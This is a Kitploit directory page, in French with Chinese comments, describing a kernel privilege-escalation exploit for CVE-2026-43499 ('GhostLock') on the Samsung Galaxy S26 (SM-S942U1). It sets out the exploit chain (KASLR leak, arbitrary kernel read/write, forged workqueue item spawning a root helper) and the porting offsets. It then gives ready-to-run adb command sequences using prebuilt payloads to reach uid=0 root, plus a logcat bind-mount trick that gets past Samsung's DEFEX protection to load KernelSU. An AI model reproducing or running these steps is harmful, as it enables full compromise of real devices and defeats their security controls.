Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
s26-m1q-ghostlock-selinux — Recherche GhostLock CVE-2026-43499 pour Galaxy S26 (SM-S942U1/m1q) : SELinux Permissive obtenu, port KASLR + tracefs, limite uid=0 documentée | Kitploit
Outils/GitHubGitHub/xrzcc/s26-m1q-ghostlock-selinux
Sécurité AndroidEscalade de PrivilègesAnalyse des VulnérabilitésExploitationRétro-ingénierieSécurité MobileExploitation de Binaires
GitHubxrzcc/s26-m1q-ghostlock-selinux

s26-m1q-ghostlock-selinux

Recherche GhostLock CVE-2026-43499 pour Galaxy S26 (SM-S942U1/m1q) : SELinux Permissive obtenu, port KASLR + tracefs, limite uid=0 documentée

Voir le dépôt
6151il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

S26 (SM-S942U1 / m1q) GhostLock CVE-2026-43499 — uid=0 root + activation de KernelSU atteinte

Recherche d'élévation de privilèges sur CVE-2026-43499 (GhostLock) ciblant le Samsung Galaxy S26 (SM-S942U1, nom de code m1q, SoC SM8850 Snapdragon 8 Elite Gen2, noyau 6.12.30-android16-5-android16-5-pd30ff70, Android 16).

✅ Résultat final : uid=0 root + activation de KernelSU atteinte

# exploit 后通过 root helper 验证
$ /data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie -c 'id'
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0

# KernelSU late-load 后内核接口已就位
$ ./su_daemon_aarch64_pie --ksu-info
KernelSU control verified version=32525 flags=0x5 uapi=2 features=0x5

$ getenforce
Enforcing   # late-load 后 SELinux 恢复 Enforcing,由 KernelSU 策略接管授权

Élévation de privilèges depuis le shell (uid 2000) vers uid=0(root), context=kernel (privilèges maximaux) ; puis exécution du late-load de KernelSU, activation de l'interface du pilote noyau (version=32525), SELinux pris en charge par le sepolicy de KernelSU.

Chemin de percée clé

Découverte de monovibe/s26u-m3q-temp-root (root temporaire KernelSU pour S26 Ultra), dont le commit noyau pd30ff70 est totalement identique à celui du modèle américain S942U1. Le mécanisme central n'utilise pas dirty-pipe (contournant la limite « écriture non NULL ») :

  1. Détection KASLR via tracefs → slide (KASLR aléatoire version US, pas nokaslr)
  2. KernelSnitch collision mm_struct + spray
  3. Primitive d'écriture GhostLock (forme owner_null) → carrier misc/simple_attr (lecture/écriture arbitraire complète)
  4. patch du nœud misc uinput → deux fd controller/data + debugfs_u64 get/set
  5. falsification d'un work item workqueue → call_usermodehelper_exec_work → lancement du helper su_daemon avec uid=0
  6. le helper crée un socket root (temp_su.sock)

Points clés du portage (3 différences m3q → version américaine)

ÉlémentValeur d'origine m3qValeur version américaine
DEBUGFS_U64_FORMAT_OFF (offset de la chaîne "%llu\n", le plus critique)0x18be5e90x18be529
P0_KERNEL_PHYS_LOAD0x800000000xc7800000 (autorité xbl_config)
Limite inférieure de vérification app_uid100002000 (autorise le shell)

DEBUGFS_U64_FORMAT_OFF est un littéral de chaîne (non un symbole), la disposition du compilateur a décalé la version américaine de 0xC0 ; la valeur m3q pointe, dans la version américaine, vers la chaîne "GWVRn_EL1(1)" de KVM, ce qui produit une sortie illisible de la primitive de lecture.

Structure des répertoires

├── README.md
├── prebuilt/                                  # S26 预编译 payload + ksud(直接用,无需构建)
│   ├── preload-m1q-S942U1UES4AZG3.so          # monovibe fast-attr 变体(命令行 LD_PRELOAD,实测成功)
│   ├── cve-2026-43499-app.so                  # RMG physical-P0 oracle 变体(APP 手动选用)
│   └── ksud-m1q-S942U1UES4AZG3-kdp            # KernelSU loader(复用 m3q,实测 late-load version=32525)
├── docs/
│   └── M1Q_SELINUX_WRITE_FAIL_ROOTCAUSE.md   # 完整诊断(含 uid=0 成功记录)
├── m3q-temp-root/                            # monovibe/s26u-m3q-temp-root 移植(源码)
└── kallsyms/kallsyms.txt                      # 美版内核符号表(128307 符号)

ksud est déjà inclus dans prebuilt/ksud-m1q-S942U1UES4AZG3-kdp (réutilise m3q, late-load réussi en pratique).

Reproduction : atteindre uid=0 root

Utiliser directement le payload prêt à l'emploi dans prebuilt/ + ksud (aucune compilation nécessaire) :

adb push prebuilt/preload-m1q-S942U1UES4AZG3.so /data/local/tmp/preload.so
adb push prebuilt/ksud-m1q-S942U1UES4AZG3-kdp /data/local/tmp/ksud-m1q-S942U1UES4AZG3-kdp
adb shell mkdir -p /data/local/tmp/cve-2026-43499-m1q-ues4azg3
# root helper su_daemon_aarch64_pie(24392B):从 m3q-temp-root/ 源码用 NDK r29 构建,
# 或从改造版 APP(lib/arm64-v8a/libcve43499root.so)提取后重命名
adb push su_daemon_aarch64_pie /data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie
adb shell chmod 755 /data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie

# 3. 运行 root-single(需补 PSELECT_MM_KICK_SLABS,否则卡在 "requires 0-16 kicker slabs" gate)
adb shell "env M3Q_STAGE=root-single M3Q_APP_UID=2000 M3Q_ENABLE_WRITE=1 \
  M3Q_REQUIRE_TRACEFS=1 M3Q_POPSICLE_WALK=1 M3Q_ATTR_CARRIER=1 M3Q_ATTR_ROOT=1 \
  M3Q_ACCEPT_PANIC_RISK=1 TMP_PAGE_UNAME=1 TMP_UNAME_PIPEI_SWEEP=1 \
  TMP_UNAME_PIPEI_SLOT_CANDIDATES=1 TMP_UNAME_PIPEI_MAX_ATTEMPTS=1 \
  GHOSTLOCK_CORE=6 GHOSTLOCK_CONSUMER_CORE=7 \
  PSELECT_OWNER_NULL=1 PSELECT_REAL_WAITER_TASK=1 PSELECT_W0_PRIO_OVERRIDE=100 \
  PIPEI_ORACLE_WALK=1 PIPEI_ORACLE_REGION=3 PIPEI_CHILD_REGIONS=5 \
  M3Q_PROBE_STRICT=1 PSELECT_MM_KICK_SLABS=2 \
  LD_PRELOAD=/data/local/tmp/preload.so sh"

# 4. 验证 root(exploit 失败会 KP 重启,等设备恢复后重跑 step 3,通常 1-2 次成功)
adb shell "/data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie -c 'id'"
# → uid=0(root) gid=0(root) context=u:r:kernel:s0

Reproduction : activation de KernelSU en late-load (obstacle DEFEX franchi)

Le commit précédent fa1bb14 consignait « KernelSU late-load rencontre un obstacle DEFEX immutable root sur Samsung ». Après localisation sur machine réelle, la véritable cause racine de l'échec du late-load n'est pas DEFEX, mais le fait que le fichier source .ksud-stage n'a jamais été créé (la fonction stage_daemon_from() de ksud ne s'occupe que du rename, la copie vers le fichier stage incombe à l'appelant, et le wrapper late-load de su_daemon a omis cette étape → rename renvoie ENOENT, ce qui a été pris à tort pour une interception DEFEX).

# 5. 放置 stage 文件(shell uid 即可,在 /data/local/tmp 下)
adb shell "cp /data/local/tmp/ksud-m1q-S942U1UES4AZG3-kdp /data/local/tmp/.ksud-stage"

# 6. 通过 root 通道以 bind-logcat 伪装执行 ksud late-load(绕 DEFEX exec 限制)
#    --allow-shell 让 KernelSU 对 shell uid(2000) 自动授权
adb shell "cd /data/local/tmp/cve-2026-43499-m1q-ues4azg3 && ./su_daemon_aarch64_pie -c '\
  unshare -m sh -c \"mount -o bind /data/local/tmp/ksud-m1q-S942U1UES4AZG3-kdp /system/bin/logcat \
  && /system/bin/logcat late-load --allow-shell --kmi android16-6.12 \
  --package-name me.weishu.kernelsu\"'"
# 成功无输出(ksud_rc=0)。late-load 会 restorecon 关闭 temp_su.sock(bootstrap 桥按设计退出)

# 7. 验证 KernelSU 激活(temp_su.sock 关闭前,或重新 exploit 后)
adb shell "/data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie --ksu-info"
# → KernelSU control verified version=32525 flags=0x5 uapi=2 features=0x5

Restaurer su après redémarrage (payload/ksud/helper déjà sur l'appareil, pas besoin de re-push)

Le root temporaire est perdu à chaque redémarrage. Après avoir poussé les fichiers lors de la première exécution des étapes 1 à 7 ci-dessus, il suffit ensuite d'exécuter les 4 commandes adb suivantes à chaque redémarrage :

# 1. exploit(失败会 KP 重启,等设备恢复 boot_completed 后重跑,通常 1-2 次成功)
adb shell "env M3Q_STAGE=root-single M3Q_APP_UID=2000 M3Q_ENABLE_WRITE=1 M3Q_REQUIRE_TRACEFS=1 \
  M3Q_POPSICLE_WALK=1 M3Q_ATTR_CARRIER=1 M3Q_ATTR_ROOT=1 M3Q_ACCEPT_PANIC_RISK=1 \
  TMP_PAGE_UNAME=1 TMP_UNAME_PIPEI_SWEEP=1 TMP_UNAME_PIPEI_SLOT_CANDIDATES=1 \
  TMP_UNAME_PIPEI_MAX_ATTEMPTS=1 GHOSTLOCK_CORE=6 GHOSTLOCK_CONSUMER_CORE=7 \
  PSELECT_OWNER_NULL=1 PSELECT_REAL_WAITER_TASK=1 PSELECT_W0_PRIO_OVERRIDE=100 \
  PIPEI_ORACLE_WALK=1 PIPEI_ORACLE_REGION=3 PIPEI_CHILD_REGIONS=5 \
  M3Q_PROBE_STRICT=1 PSELECT_MM_KICK_SLABS=2 \
  LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true"
# 成功标志:stdout 含 "m3q-fast-attr-result mode=root root=1 uid=0",su_daemon(uid=0) 起来,getenforce=Permissive

# 2. 放置 stage 文件(late-load 必需,漏这步会 ENOENT)
adb shell "cp /data/local/tmp/ksud-m1q-S942U1UES4AZG3-kdp /data/local/tmp/.ksud-stage"
Télécharger l’outil